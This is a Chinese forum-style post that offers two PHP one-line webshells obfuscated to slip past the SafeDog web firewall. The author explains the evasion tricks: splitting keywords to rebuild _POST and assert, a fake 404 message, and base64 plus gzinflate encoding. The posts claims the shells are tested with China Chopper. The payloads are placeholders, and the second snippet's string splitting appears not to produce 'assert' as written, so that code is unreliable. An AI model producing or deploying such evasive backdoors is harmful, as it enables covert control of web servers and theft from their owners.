分享两个过狗的PHP一句话吧,并且讲一讲我的过狗思路
<?php #木马免杀:从打狗到被狗咬
error_reporting(0);
echo "404 Not Found.";
$building= "ps_ot*^7#[email protected]@666666666666666666666666666666666666666666666666666" ;
$build =strtoupper($building[2]. $building[0] .$building[3]. $building[1].$building[4] );
if (你想过狗?) {eval ( 参考截图代码咯~ );} ?>
这个bypass的一句话思路就是:拆分敏感关键字“post”,以“strtoupper()” 函数把字符串转换为大写,
以数组形式取关键字字符进行拼接:_POST,将其赋值给变量“$build”,带入下面的if语句执行。
完美过狗,下面用菜刀连上试试
缺点:仍有敏感字符函数“eval”
下面一个bypass的PHP一句话运用的是拼接关键字+字符编码,此种方法的好处就是没有任何敏感字符函数
<?php #木马免杀:从打狗到被狗咬
$gg="补丁君66666666666666##abbsbbsbbebbrbbt##building6666666666";
$bb=explode("bb",$gg);
$bing=$bb[0].$bb[1].$bb[2].$bb[3].$bb[4].$bb[5];
$bing(gzinflate(base64_decode('你想过狗吗?')));
?>
讲讲这个bypass的过程:首先,还是从$gg中拼接出字符串“assert”:以“explode()”函数把$gg里的'bb'分割出来,处理成数组,然后就是提取数组元素拼接成函数。里面的加密编码用“Base64+Gzinflate”进行解密
顺利的过狗,用菜刀试试连接是否正常: